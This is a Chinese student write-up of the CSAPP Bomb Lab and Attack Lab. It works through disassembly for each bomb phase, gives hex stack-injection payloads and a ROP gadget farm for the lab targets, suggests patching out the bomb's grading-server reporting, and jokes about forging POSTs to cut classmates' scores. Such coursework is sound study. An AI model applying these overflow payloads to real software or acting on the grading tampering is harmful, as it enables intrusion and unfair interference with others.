Lab1: BombLab
bomb文件自带联网校验,启动时必须联网,否则会报错退出。这是为了在触发爆炸时通知服务器给同学扣分。
由于bomb文件不校验自身完整性,我们可以打一个patch,把通知服务器的片段换成nop。
(有一个邪恶的想法:是不是可以自己构造POST请求去扣其他同学的分?)
objdump -d bomb //反汇编包含指令的段
objdump -s -j .rodata bomb //输出只读数据
objdump -t bomb //输出符号表
objdump -s -j .data //输出可写数据
Phase1
0000000000001419 <phase_1>:
1419: 48 83 ec 08 sub $0x8,%rsp
141d: 48 8d 35 2c 1d 00 00 lea 0x1d2c(%rip),%rsi # 3150 <_IO_stdin_used+0x150>
1424: e8 60 04 00 00 call 1889 <strings_not_equal>
1429: 85 c0 test %eax,%eax
142b: 75 05 jne 1432 <phase_1+0x19>
142d: 48 83 c4 08 add $0x8,%rsp
1431: c3 ret
1432: e8 e6 05 00 00 call 1a1d <explode_bomb>
1437: eb f4 jmp 142d <phase_1+0x14>
简单易懂。请注意,rip永远指向下一条指令。
直接去rodata读字符串,读到00为止。
3150 4920616d 206a7573 74206120 72656e65 I am just a rene
3160 67616465 20686f63 6b657920 6d6f6d2e gade hockey mom.
3170 00000000 00000000 576f7721 20596f75 ........Wow! You
Phase2
0000000000001439 <phase_2>:
1439: 55 push %rbp
143a: 53 push %rbx
143b: 48 83 ec 28 sub $0x28,%rsp
143f: 48 89 e6 mov %rsp,%rsi
1442: e8 12 06 00 00 call 1a59 <read_six_numbers>
1447: 83 3c 24 01 cmpl $0x1,(%rsp)
144b: 75 0a jne 1457 <phase_2+0x1e>
144d: 48 89 e3 mov %rsp,%rbx
1450: 48 8d 6c 24 14 lea 0x14(%rsp),%rbp
1455: eb 10 jmp 1467 <phase_2+0x2e>
1457: e8 c1 05 00 00 call 1a1d <explode_bomb>
145c: eb ef jmp 144d <phase_2+0x14>
145e: 48 83 c3 04 add $0x4,%rbx
1462: 48 39 eb cmp %rbp,%rbx
1465: 74 10 je 1477 <phase_2+0x3e>
1467: 8b 03 mov (%rbx),%eax
1469: 01 c0 add %eax,%eax
146b: 39 43 04 cmp %eax,0x4(%rbx)
146e: 74 ee je 145e <phase_2+0x25>
1470: e8 a8 05 00 00 call 1a1d <explode_bomb>
1475: eb e7 jmp 145e <phase_2+0x25>
1477: 48 83 c4 28 add $0x28,%rsp
147b: 5b pop %rbx
147c: 5d pop %rbp
147d: c3 ret
0000000000001a59 <read_six_numbers>:
1a59: 48 83 ec 08 sub $0x8,%rsp
1a5d: 48 89 f2 mov %rsi,%rdx
1a60: 48 8d 4e 04 lea 0x4(%rsi),%rcx
1a64: 48 8d 46 14 lea 0x14(%rsi),%rax
1a68: 50 push %rax
1a69: 48 8d 46 10 lea 0x10(%rsi),%rax
1a6d: 50 push %rax
1a6e: 4c 8d 4e 0c lea 0xc(%rsi),%r9
1a72: 4c 8d 46 08 lea 0x8(%rsi),%r8
1a76: 48 8d 35 f2 18 00 00 lea 0x18f2(%rip),%rsi # 336f <array.0+0x19f>
1a7d: b8 00 00 00 00 mov $0x0,%eax
1a82: e8 b9 f6 ff ff call 1140 <__isoc99_sscanf@plt>
1a87: 48 83 c4 10 add $0x10,%rsp
1a8b: 83 f8 05 cmp $0x5,%eax
1a8e: 7e 05 jle 1a95 <read_six_numbers+0x3c>
1a90: 48 83 c4 08 add $0x8,%rsp
1a94: c3 ret
1a95: e8 83 ff ff ff call 1a1d <explode_bomb>
3360 20686173 20626c6f 776e2075 702e0025 has blown up..%
3370 64202564 20256420 25642025 64202564 d %d %d %d %d %d
3380 00457272 6f723a20 5072656d 61747572 .Error: Prematur
首先研究read_six_numbers。在1a76处,%rsi被赋值336f。阅读rodata,即可发现格式化字符串是%d %d %d %d % %d。因此 该函数期望得到六个十进制数字。
%rdx被赋值%rsp,%rcx被赋值4(%rsp),以次类推。最后两个参数放在栈上。
由此可知,read_six_numbers函数读入六个数字,依次放在(%rsi),4(%rsi),…,0x14(%rsi)。
接下来我们将其视为一个数组 int arr[6]。
由1447处,arr[0]必须是1。
1467处,2*arr[i] = arr[i + 1],i从0取到4。
故本题答案是1 2 4 8 16 32。
Phase3
考察跳表的应用。题目比较恶心。
000000000000147e <phase_3>:
147e: 48 83 ec 18 sub $0x18,%rsp //分配24字节的空间
1482: 48 8d 4c 24 08 lea 0x8(%rsp),%rcx //往上数8个字节 地址放进rcx scanf的第四个参数 解析的第二个整数
1487: 48 8d 54 24 0c lea 0xc(%rsp),%rdx //往上数12个字节,地址放进rdx scanf的第三个参数 解析的第一个整数
148c: 48 8d 35 e8 1e 00 00 lea 0x1ee8(%rip),%rsi # 337b <array.0+0x1ab> //存一个rodata的地址进rsi,也就是%d %d
1493: b8 00 00 00 00 mov $0x0,%eax //rax清空
1498: e8 a3 fc ff ff call 1140 <__isoc99_sscanf@plt>
149d: 83 f8 01 cmp $0x1,%eax //检查sscanf执行结果
14a0: 7e 1b jle 14bd <phase_3+0x3f> //执行结果异常就爆炸
14a2: 83 7c 24 0c 07 cmpl $0x7,0xc(%rsp) //比较7和往上12字节处的数字,也就是解析的第一个整数
14a7: 77 55 ja 14fe <phase_3+0x80> //num1大于7(无符号比较)则爆炸
14a9: 8b 44 24 0c mov 0xc(%rsp),%eax //num1移入rax
14ad: 48 8d 15 fc 1c 00 00 lea 0x1cfc(%rip),%rdx # 31b0 <_IO_stdin_used+0x1b0> //在rodata 跳表的开头
14b4: 48 63 04 82 movslq (%rdx,%rax,4),%rax //四位有符号数转8位 从跳表中拿出偏移量
14b8: 48 01 d0 add %rdx,%rax //基地址加上偏移量
14bb: ff e0 jmp *%rax //若num1 = 2 跳到14d4
14bd: e8 5b 05 00 00 call 1a1d <explode_bomb>
14c2: eb de jmp 14a2 <phase_3+0x24>
14c4: b8 a6 03 00 00 mov $0x3a6,%eax
14c9: 39 44 24 08 cmp %eax,0x8(%rsp) //把0x112和num2比较
14cd: 75 42 jne 1511 <phase_3+0x93> //不相等就爆炸
14cf: 48 83 c4 18 add $0x18,%rsp //把栈退回去
14d3: c3 ret //结束
14d4: b8 12 01 00 00 mov $0x112,%eax //0x112移进rax
14d9: eb ee jmp 14c9 <phase_3+0x4b>
14db: b8 71 00 00 00 mov $0x71,%eax
14e0: eb e7 jmp 14c9 <phase_3+0x4b>
14e2: b8 1f 01 00 00 mov $0x11f,%eax
14e7: eb e0 jmp 14c9 <phase_3+0x4b>
14e9: b8 7f 01 00 00 mov $0x17f,%eax
14ee: eb d9 jmp 14c9 <phase_3+0x4b>
14f0: b8 9e 02 00 00 mov $0x29e,%eax
14f5: eb d2 jmp 14c9 <phase_3+0x4b>
14f7: b8 f5 02 00 00 mov $0x2f5,%eax
14fc: eb cb jmp 14c9 <phase_3+0x4b>
14fe: e8 1a 05 00 00 call 1a1d <explode_bomb>
1503: b8 00 00 00 00 mov $0x0,%eax
1508: eb bf jmp 14c9 <phase_3+0x4b>
150a: b8 cb 01 00 00 mov $0x1cb,%eax
150f: eb b8 jmp 14c9 <phase_3+0x4b>
1511: e8 07 05 00 00 call 1a1d <explode_bomb>
1516: eb b7 jmp 14cf <phase_3+0x51>
16进制加减法属实是有点恶心了,看跳表上的数更是恶心。答案是2 274。
Phase4
0000000000001555 <phase_4>:
1555: 48 83 ec 18 sub $0x18,%rsp //24字节栈帧
1559: 48 8d 4c 24 08 lea 0x8(%rsp),%rcx //第四个参数指向向上8字节
155e: 48 8d 54 24 0c lea 0xc(%rsp),%rdx //第三个参数指向向上12字节
1563: 48 8d 35 11 1e 00 00 lea 0x1e11(%rip),%rsi # 337b <array.0+0x1ab> //%d %d
156a: b8 00 00 00 00 mov $0x0,%eax //rax清空
156f: e8 cc fb ff ff call 1140 <__isoc99_sscanf@plt> //读进来两个整数
1574: 83 f8 02 cmp $0x2,%eax //比较读进来的数字数量和2
1577: 75 07 jne 1580 <phase_4+0x2b> //跳到1580 爆炸
1579: 83 7c 24 0c 0e cmpl $0xe,0xc(%rsp) //比较num1和15
157e: 76 05 jbe 1585 <phase_4+0x30> 无符号比较 如果num1小于等于15 跳到1585
1580: e8 98 04 00 00 call 1a1d <explode_bomb>
1585: ba 0e 00 00 00 mov $0xe,%edx //第三个参数rdx=14
158a: be 00 00 00 00 mov $0x0,%esi //第二个参数rsi清空
158f: 8b 7c 24 0c mov 0xc(%rsp),%edi //第一个参数rdi放num1的值
1593: e8 80 ff ff ff call 1518 <func4>//跳func4
1598: 83 f8 02 cmp $0x2,%eax //比较输出和2
159b: 75 07 jne 15a4 <phase_4+0x4f> //跳到15a4 爆炸
159d: 83 7c 24 08 02 cmpl $0x2,0x8(%rsp) //比较num2和2
15a2: 74 05 je 15a9 <phase_4+0x54> //相等就跳到15a9 否则爆炸 相当于num2必须是2
15a4: e8 74 04 00 00 call 1a1d <explode_bomb>
15a9: 48 83 c4 18 add $0x18,%rsp //释放栈
15ad: c3 ret //结束
0000000000001518 <func4>:
1518: 48 83 ec 08 sub $0x8,%rsp //8字节栈帧
151c: 89 d0 mov %edx,%eax //rax=14 查找范围上界
151e: 29 f0 sub %esi,%eax //rax=14 减掉下界
1520: 89 c1 mov %eax,%ecx //rcx=14
1522: c1 e9 1f shr $0x1f,%ecx //逻辑右移31位 补0 相当于拿到符号位
1525: 01 c1 add %eax,%ecx
1527: d1 f9 sar $1,%ecx //逻辑左移1位 补0 综合来看就是取中位
1529: 01 f1 add %esi,%ecx //中位作为偏移量,加上下界
152b: 39 f9 cmp %edi,%ecx //和num1比较
152d: 7f 0c jg 153b <func4+0x23> //有符号比较 若rcx大于num1,跳到153b
152f: b8 00 00 00 00 mov $0x0,%eax //rax清零
1534: 7c 11 jl 1547 <func4+0x2f> //若rcx小于num1,跳到1547
1536: 48 83 c4 08 add $0x8,%rsp //恢复栈帧
153a: c3 ret //结束
153b: 8d 51 ff lea -0x1(%rcx),%edx //把中位-1作为新的上界,放入第三个参数
153e: e8 d5 ff ff ff call 1518 <func4> //递归
1543: 01 c0 add %eax,%eax //把结果乘二
1545: eb ef jmp 1536 <func4+0x1e> //跳到1536 相当于结束
1547: 8d 71 01 lea 0x1(%rcx),%esi //中位+1作为新的下界,放入第二个参数
154a: e8 c9 ff ff ff call 1518 <func4>
154f: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax //结果乘二加1
1553: eb e1 jmp 1536 <func4+0x1e> //跳到1536 相当于结束
核心逻辑在func4中。我们不妨用C++来实现func4的逻辑:
int func4(int target, int low, int high){
int mid = low + (high - low) / 2;
if (mid > target){
res = func4(target, mid + 1, high);
return 2 * res;
}
else if (mid < target){
res = func4(target, low, mid - 1);
return 2 * res + 1;
}
else return 0;
}
num1=5,此时func4的返回值为2;num2=2。
func4里面有对负数的补1操作,这是因为/是向0取整的,但是我们的移位是向下取整的。当然,我们的函数逻辑不可能使得high-low为负数,这个片段的生成来自于编译器的保守策略。
phase5
00000000000015ae <phase_5>:
15ae: 53 push %rbx //callee-saved register
15af: 48 83 ec 10 sub $0x10,%rsp //16字节栈帧
15b3: 48 89 fb mov %rdi,%rbx //备份一下rdi rdi存放str2字符串的位置
15b6: e8 b1 02 00 00 call 186c <string_length>
15bb: 83 f8 06 cmp $0x6,%eax //比较输出和6
15be: 75 45 jne 1605 <phase_5+0x57> //不相等就爆炸 所以输入长度必须是6
15c0: b8 00 00 00 00 mov $0x0,%eax //rax清空 rax是索引
15c5: 48 8d 0d 04 1c 00 00 lea 0x1c04(%rip),%rcx # 31d0 <array.0> //把str1地址放进rcx maduiersnfotvbyl
15cc: 0f b6 14 03 movzbl (%rbx,%rax,1),%edx //找str2中的字符,放进rdx
15d0: 83 e2 0f and $0xf,%edx //保留str2中字符的半个字节,高位清零
15d3: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx //取str1里面的字符,放进rdx 注意看这里拿rdx作为索引
15d7: 88 54 04 09 mov %dl,0x9(%rsp,%rax,1) //取rdx里的字符 放到栈里面
15db: 48 83 c0 01 add $0x1,%rax //索引加1
15df: 48 83 f8 06 cmp $0x6,%rax //比较索引和6
15e3: 75 e7 jne 15cc <phase_5+0x1e> //如果不相等就继续循环
15e5: c6 44 24 0f 00 movb $0x0,0xf(%rsp) //在字符串的末尾加上00,表示字符串结束
15ea: 48 8d 7c 24 09 lea 0x9(%rsp),%rdi //把字符串首地址放进rdi
15ef: 48 8d 35 a8 1b 00 00 lea 0x1ba8(%rip),%rsi # 319e <_IO_stdin_used+0x19e> //devils
15f6: e8 8e 02 00 00 call 1889 <strings_not_equal> //比较
15fb: 85 c0 test %eax,%eax
15fd: 75 0d jne 160c <phase_5+0x5e> //不为零就爆炸
15ff: 48 83 c4 10 add $0x10,%rsp //回退栈帧
1603: 5b pop %rbx //释放callee-saved register
1604: c3 ret //结束
1605: e8 13 04 00 00 call 1a1d <explode_bomb>
160a: eb b4 jmp 15c0 <phase_5+0x12>
160c: e8 0c 04 00 00 call 1a1d <explode_bomb>
1611: eb ec jmp 15ff <phase_5+0x51> //结束
工作流:从输入中抽字符,取最后4bit当作索引,从内存中的字符串中拿东西,拼成devils。
devils分别在字符串的第2 5 c 4 f 7位。我们只需要找到六个字符,使它们的ASCII结尾是这六个字符即可。
我选择25LDOG 。
Phase6
字面意义上的一坨臭狗屎。考察了链表相关知识。
0000000000001613 <phase_6>:
1613: 41 57 push %r15
1615: 41 56 push %r14
1617: 41 55 push %r13
1619: 41 54 push %r12
161b: 55 push %rbp
161c: 53 push %rbx //callee-saved register
161d: 48 83 ec 68 sub $0x68,%rsp //分配104字节栈帧
1621: 48 8d 44 24 40 lea 0x40(%rsp),%rax //往上数64字节,地址进rax,作为数组起始
1626: 49 89 c7 mov %rax,%r15 //存进r15 r15指向数组开头
1629: 48 89 44 24 08 mov %rax,0x8(%rsp) //存进往上8字节处
162e: 48 89 c6 mov %rax,%rsi //第二个参数
1631: e8 23 04 00 00 call 1a59 <read_six_numbers> //把6个数字放在栈上
1636: 4d 89 fc mov %r15,%r12 //r12指向数组开头
1639: 41 be 01 00 00 00 mov $0x1,%r14d //循环计数器 1
163f: 4d 89 fd mov %r15,%r13 //r13指向数组开头
1642: e9 d1 00 00 00 jmp 1718 <phase_6+0x105>
1647: e8 d1 03 00 00 call 1a1d <explode_bomb>
164c: 41 83 fe 05 cmp $0x5,%r14d
1650: 0f 8e da 00 00 00 jle 1730 <phase_6+0x11d>
1656: 48 8b 54 24 08 mov 0x8(%rsp),%rdx //数组头地址放进rdx
165b: 48 83 c2 18 add $0x18,%rdx //加24,也就是结束地址,放进rdx
165f: b9 07 00 00 00 mov $0x7,%ecx //rcx=7
1664: 89 c8 mov %ecx,%eax //rax=7
1666: 41 2b 04 24 sub (%r12),%eax //rax=7-对应的数字
166a: 41 89 04 24 mov %eax,(%r12) //用7-数字把原数字覆盖掉
166e: 49 83 c4 04 add $0x4,%r12 //指针加四个字节
1672: 49 39 d4 cmp %rdx,%r12 //指针和结束地址比较
1675: 75 ed jne 1664 <phase_6+0x51> //如果不相等就继续循环
1677: be 00 00 00 00 mov $0x0,%esi //rsi作为第二循环的计数器被清空
167c: 8b 4c b4 40 mov 0x40(%rsp,%rsi,4),%ecx //把第一个数字放进rcx
1680: b8 01 00 00 00 mov $0x1,%eax //rax=1
1685: 48 8d 15 84 40 00 00 lea 0x4084(%rip),%rdx # 5710 <node1> //加载链表的头节点
168c: 83 f9 01 cmp $0x1,%ecx //比较数字和1
168f: 7e 0b jle 169c <phase_6+0x89> //如果rcx小于等于1 快进到169c
1691: 48 8b 52 08 mov 0x8(%rdx),%rdx //rdx更新到next
1695: 83 c0 01 add $0x1,%eax //rax=循环数
1698: 39 c8 cmp %ecx,%eax //对应的数字和循环数进行比较
169a: 75 f5 jne 1691 <phase_6+0x7e> //不相等就重新来
169c: 48 89 54 f4 10 mov %rdx,0x10(%rsp,%rsi,8) //把链表的头节点放到栈下界往上16字节的地方
16a1: 48 83 c6 01 add $0x1,%rsi //第二循环计数器加1
16a5: 48 83 fe 06 cmp $0x6,%rsi //比较第二循环计数器和6
16a9: 75 d1 jne 167c <phase_6+0x69> //还没到6就继续循环
16ab: 48 8b 5c 24 10 mov 0x10(%rsp),%rbx //指针1-rbx
16b0: 48 8b 44 24 18 mov 0x18(%rsp),%rax //指针2-rax
16b5: 48 89 43 08 mov %rax,0x8(%rbx) //把指针2写到链表节点1的next
16b9: 48 8b 54 24 20 mov 0x20(%rsp),%rdx //指针3-rdx
16be: 48 89 50 08 mov %rdx,0x8(%rax) //把指针3写到链表节点2的next
16c2: 48 8b 44 24 28 mov 0x28(%rsp),%rax //指针4-rax
16c7: 48 89 42 08 mov %rax,0x8(%rdx)
16cb: 48 8b 54 24 30 mov 0x30(%rsp),%rdx //5
16d0: 48 89 50 08 mov %rdx,0x8(%rax)
16d4: 48 8b 44 24 38 mov 0x38(%rsp),%rax //6
16d9: 48 89 42 08 mov %rax,0x8(%rdx)
16dd: 48 c7 40 08 00 00 00 movq $0x0,0x8(%rax) //最后的next是NULL
16e4: 00
16e5: bd 05 00 00 00 mov $0x5,%ebp //rbp=5
16ea: eb 52 jmp 173e <phase_6+0x12b>
16ec: 48 83 c3 01 add $0x1,%rbx
16f0: 83 fb 05 cmp $0x5,%ebx
16f3: 7f 11 jg 1706 <phase_6+0xf3>
16f5: 41 8b 44 9d 00 mov 0x0(%r13,%rbx,4),%eax //把下一个数字放进rax
16fa: 39 45 00 cmp %eax,0x0(%rbp) //和外层正在研究的数字比较
16fd: 75 ed jne 16ec <phase_6+0xd9> //不相等就把内循环计数器加1;如果内循环计数器等于6就去1706;否则继续这一段循环
16ff: e8 19 03 00 00 call 1a1d <explode_bomb> //相等就爆炸
1704: eb e6 jmp 16ec <phase_6+0xd9>
1706: 49 83 c7 04 add $0x4,%r15 //r15指向下一个数字
170a: 49 83 c6 01 add $0x1,%r14 //外循环计数器加一
170e: 49 83 fe 07 cmp $0x7,%r14 //比较外循环计数器和7
1712: 0f 84 3e ff ff ff je 1656 <phase_6+0x43> //等于7就到1656,不等于7就继续往下走
1718: 4c 89 fd mov %r15,%rbp //rbp指向外循环研究的数字
171b: 41 8b 07 mov (%r15),%eax //rax存放外循环研究的数字
171e: 83 e8 01 sub $0x1,%eax
1721: 83 f8 05 cmp $0x5,%eax //和6比较
1724: 0f 87 1d ff ff ff ja 1647 <phase_6+0x34> 大于6就爆炸
172a: 41 83 fe 05 cmp $0x5,%r14d //计数器和5比较
172e: 7f d6 jg 1706 <phase_6+0xf3> //大于5(等于6)就跳到1706
1730: 4c 89 f3 mov %r14,%rbx //把计数器放进rbx
1733: eb c0 jmp 16f5 <phase_6+0xe2> //进内层循环
1735: 48 8b 5b 08 mov 0x8(%rbx),%rbx //rbx往前推进8字节
1739: 83 ed 01 sub $0x1,%ebp //计数器-1
173c: 74 11 je 174f <phase_6+0x13c> //如果计数器=0就去174f,结束
173e: 48 8b 43 08 mov 0x8(%rbx),%rax //rax里面放下一个节点
1742: 8b 00 mov (%rax),%eax //把节点的值放进rax
1744: 39 03 cmp %eax,(%rbx) //比较现在的和下一个
1746: 7d ed jge 1735 <phase_6+0x122> //现在的大于等于下一个就到1735
1748: e8 d0 02 00 00 call 1a1d <explode_bomb>
174d: eb e6 jmp 1735 <phase_6+0x122>
174f: 48 83 c4 68 add $0x68,%rsp //结束
1753: 5b pop %rbx
1754: 5d pop %rbp
1755: 41 5c pop %r12
1757: 41 5d pop %r13
1759: 41 5e pop %r14
175b: 41 5f pop %r15
175d: c3 ret
以下是链表。节点结构:四字节整数+四字节编号+下一个节点的地址。
5710 3c030000 01000000 20570000 00000000 <....... W...... //33c 1 val值以及在新链表中的顺序
5720 d1020000 02000000 30570000 00000000 ........0W...... //2d1 2
5730 a0000000 03000000 40570000 00000000 ........@W...... //a0 6
5740 be000000 04000000 50570000 00000000 ........PW...... //be 4
5750 cd010000 05000000 00520000 00000000 .........R...... //1cd 3
5200 b2000000 06000000 00000000 00000000 ................ //b2 5
用C++实现phase6:
void phase_6(){
int (*arr)[6] = read_six_numbers();
if (arr[i] > 7 || arr[i] < 1) explode_bomb();
for(int j = i + 1; j < 6; j ++){
if(arr[i] == arr[j]) explode_bomb();
}
}
for (int i = 0; i < 6; i ++) arr[i] = 7 - arr[i];
void* arr2[6];
for (int i = 0; i < 6; i ++){
arr2[i] = linknode_arr[arr[i]]
}
for (int i = 0; i < 5; i ++) arr[i]->next = arr2[i + 1];
linknode_arr[5]->next = NULL;
for (int i = 0; i < 5; i ++){
if (arr2[i]->val < arr2[i]->next->val) explode_bomb()
}
}
工作流:
第一部分 确保输入的六个数字中,每个数字都是1-6的整数,且两两不相等
第二部分 用7减各个数,用结果覆盖原值
第三部分 用六个数的顺序重组链表的顺序
第四部分 检查新链表是否递减
新链表中,原链表节点的排列顺序为 1 2 5 4 6 3。
故输入的值为 6 5 2 3 1 4。
Lab2: AttackLab
Ctarget
ctarget在编译时去掉了栈随机化,因此可以直接注入硬编码的地址。
栈上的内容可被执行,因此我们可以在栈上注入code。
touch1
任务:让getbuf函数返回到touch1。
首先来看getbuf函数。
0000000000401b5f <getbuf>:
401b5f: 48 83 ec 18 sub $0x18,%rsp
401b63: 48 89 e7 mov %rsp,%rdi
401b66: e8 3f 02 00 00 call 401daa <Gets>
401b6b: b8 01 00 00 00 mov $0x1,%eax
401b70: 48 83 c4 18 add $0x18,%rsp
401b74: c3 ret
缓冲区有24个字节。
我们只需要填充24个nop,然后填入touch1的地址。
touch2
任务:让getbuf函数返回到touch2函数并且正确传递参数cookie。
基本思路:先返回到我们注入到栈上的code,把cookie移进%rdi,把touch2地址压栈,ret。
那么如何知道栈上code的地址呢?
gdb ctarget
(gdb) b getbuf //设置断点
(gdb) run //运行程序 可以把输入一起放进去
(gdb) layout asm //显示汇编
(gdb) si //下一条指令
(gdb) ni //跳过一条指令
(gdb) c //走到下一个断点
(gdb) signal SIGKILL //杀杀杀杀杀杀杀
(gdb) p/x $rsp //以16进制格式输出rsp中的值
(gdb) x/s C //查看内存C中存放的字符串
(gdb) x/gx $rsp //以8字节为单位(g),以16进制格式输出rsp指向的内存中的值
使用gdb进行调试,发现getbuf函数的栈顶位置是0x556699f8。
请注意,asm窗口中的光标指向的是下一条指令。因此,当你看到
>0x401b5f <getbuf> sub $0x18,%rsp
时,%rsp的值还没有被减。
构造注入内容如下:
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
movl $0x3c1eff45 %edi BF 45 FF 1E 3C
push 0x00401ba3 68 a3 1b 40 00
ret C3
F8 99 66 55 00 00 00 00
还有一种方案: 把touch2的地址放在code地址的上面然后再做一次ret。这种做法会破坏栈的16对齐。
touch3
任务:让getbuf函数返回到touch2函数并且正确传递字符串指针。
先来看看touch3及其调用的hexmatch。
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
注意hexmatch的sprintf(s, “%.8x”, val);行。这一行把整数val变成了8位16进制字符串且不含’0x’。
因此,我们要构造一个8位字符串。将cookie的十六进制各位变成ascii码表示,末尾加上00,按照大端序逻辑排列即可。
33 63 31 65 66 66 34 35 00 //0x3c1eff45
接下来是code的设计。我的第一版设计如下:
33 63 31 65 66 66 34 35 00 //字符串
nop 90
nop 90
nop 90
nop 90
movl $0x556699f8 %edi bf f8 99 66 55
push 0x00401c7a 68 7a 1c 40 00
ret c3
01 9A 66 55 00 00 00 00 //code的地址
程序的输出Misfire: You called touch3("�_hU") 。
在touch3的入口处,用gdb检查,结果为:p/x $rdi >0x556699f8;x/s $rdi >0x556699f8: “3c1eff45”。符合预期。
在hexmatch的入口,用gdb检查,结果为:p/x $rdi >0x3c1eff45;x/s $rsi > 0x556699f8: “3c1eff45"。依旧符合预期。
查看汇编片段:
401c64: e8 f7 f3 ff ff call 401060 <strncmp@plt>
使b *0x401c64 命令在比较前设置断点,再次检查,结果为:x/s $rdi >0x556699f8: “\350_hU”;x/s $rsi >0x556699b5: “3c1eff45”。此处我们的字符串显然被破坏了。
进一步分析。在hexmatch的入口,rsp的值为0x55669a08。执行完第一条指push %r12 后,rsp的值变成了0x55669a00。我们的字符串位于0x556699f8,其终止00 恰好在栈顶指针处,终止符被覆盖。再次si,push %rbp 指令被执行。此时x/s $rsi,我们得到了"\350_hU"。
有趣的事情是,“3c1eff45”这个字符串看似被写入了hexmatch栈的随机位置,但是random函数并未被播种。这个位置永远是0x556699b5。
字符串的注入有讲究:注入地址最好是8的整数倍。实测4的整数倍也行。
新的构造如下:
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
movl $0x5566b9f8 %edi bf 18 9a 66 55
push 0x00401c7a 68 7a 1c 40 00
ret c3
f8 99 66 55 00 00 00 00
33 63 31 65 66 66 34 35 00
把字符串放在安全的位置,顺利通关。
Rtarget
rtarget引入了栈随机化,且栈上内容不可执行。我们需要使用garget。
touch2
文件中有一个garget farm片段。我们可以从中挑选需要的garget。farm片段如下:
0000000000401d08 <start_farm>:
401d08: b8 01 00 00 00 mov $0x1,%eax
401d0d: c3 ret
0000000000401d0e <addval_375>:
401d0e: 8d 87 48 89 c7 c7 lea -0x383876b8(%rdi),%eax
401d14: c3 ret
0000000000401d15 <getval_382>:
401d15: b8 58 90 90 90 mov $0x90909058,%eax
401d1a: c3 ret
0000000000401d1b <addval_224>:
401d1b: 8d 87 80 50 0e 50 lea 0x500e5080(%rdi),%eax
401d21: c3 ret
0000000000401d22 <setval_174>:
401d22: c7 07 3f 58 c3 19 movl $0x19c3583f,(%rdi)
401d28: c3 ret
0000000000401d29 <getval_426>:
401d29: b8 48 89 c7 c3 mov $0xc3c78948,%eax
401d2e: c3 ret
0000000000401d2f <addval_400>:
401d2f: 8d 87 4c 58 92 c3 lea -0x3c6da7b4(%rdi),%eax
401d35: c3 ret
0000000000401d36 <addval_262>:
401d36: 8d 87 d6 48 89 c7 lea -0x3876b72a(%rdi),%eax
401d3c: c3 ret
0000000000401d3d <getval_440>:
401d3d: b8 48 89 c7 94 mov $0x94c78948,%eax
401d42: c3 ret
0000000000401d43 <mid_farm>:
401d43: b8 01 00 00 00 mov $0x1,%eax
401d48: c3 ret
0000000000401d49 <add_xy>:
401d49: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401d4d: c3 ret
0000000000401d4e <getval_104>:
401d4e: b8 89 d6 94 90 mov $0x9094d689,%eax
401d53: c3 ret
0000000000401d54 <setval_289>:
401d54: c7 07 89 ca 38 d2 movl $0xd238ca89,(%rdi)
401d5a: c3 ret
0000000000401d5b <addval_155>:
401d5b: 8d 87 c9 d6 c3 43 lea 0x43c3d6c9(%rdi),%eax
401d61: c3 ret
0000000000401d62 <getval_338>:
401d62: b8 88 ca c3 28 mov $0x28c3ca88,%eax
401d67: c3 ret
0000000000401d68 <getval_259>:
401d68: b8 89 ca 90 c3 mov $0xc390ca89,%eax
401d6d: c3 ret
0000000000401d6e <setval_343>:
401d6e: c7 07 81 ca 08 d2 movl $0xd208ca81,(%rdi)
401d74: c3 ret
0000000000401d75 <addval_163>:
401d75: 8d 87 a9 c1 90 90 lea -0x6f6f3e57(%rdi),%eax
401d7b: c3 ret
0000000000401d7c <getval_484>:
401d7c: b8 48 89 e0 91 mov $0x91e08948,%eax
401d81: c3 ret
0000000000401d82 <addval_394>:
401d82: 8d 87 09 ca 38 db lea -0x24c735f7(%rdi),%eax
401d88: c3 ret
0000000000401d89 <addval_249>:
401d89: 8d 87 48 89 e0 91 lea -0x6e1f76b8(%rdi),%eax
401d8f: c3 ret
0000000000401d90 <getval_470>:
401d90: b8 33 48 89 e0 mov $0xe0894833,%eax
401d95: c3 ret
0000000000401d96 <getval_391>:
401d96: b8 8d d6 08 d2 mov $0xd208d68d,%eax
401d9b: c3 ret
0000000000401d9c <setval_415>:
401d9c: c7 07 89 ca 18 c9 movl $0xc918ca89,(%rdi)
401da2: c3 ret
0000000000401da3 <getval_398>:
401da3: b8 48 89 e0 94 mov $0x94e08948,%eax
401da8: c3 ret
0000000000401da9 <setval_119>:
401da9: c7 07 89 ca 48 db movl $0xdb48ca89,(%rdi)
401daf: c3 ret
0000000000401db0 <getval_123>:
401db0: b8 8d d6 08 c9 mov $0xc908d68d,%eax
401db5: c3 ret
0000000000401db6 <getval_127>:
401db6: b8 8b d6 08 c0 mov $0xc008d68b,%eax
401dbb: c3 ret
0000000000401dbc <setval_275>:
401dbc: c7 07 92 89 c1 90 movl $0x90c18992,(%rdi)
401dc2: c3 ret
0000000000401dc3 <setval_218>:
401dc3: c7 07 41 48 89 e0 movl $0xe0894841,(%rdi)
401dc9: c3 ret
0000000000401dca <getval_183>:
401dca: b8 48 89 e0 91 mov $0x91e08948,%eax
401dcf: c3 ret
0000000000401dd0 <getval_241>:
401dd0: b8 89 c1 48 db mov $0xdb48c189,%eax
401dd5: c3 ret
0000000000401dd6 <addval_177>:
401dd6: 8d 87 89 d6 c4 c0 lea -0x3f3b2977(%rdi),%eax
401ddc: c3 ret
0000000000401ddd <addval_468>:
401ddd: 8d 87 89 c1 20 d2 lea -0x2ddf3e77(%rdi),%eax
401de3: c3 ret
0000000000401de4 <setval_411>:
401de4: c7 07 5b f8 a9 ca movl $0xcaa9f85b,(%rdi)
401dea: c3 ret
0000000000401deb <getval_451>:
401deb: b8 ee 48 c9 e0 mov $0xe0c948ee,%eax
401df0: c3 ret
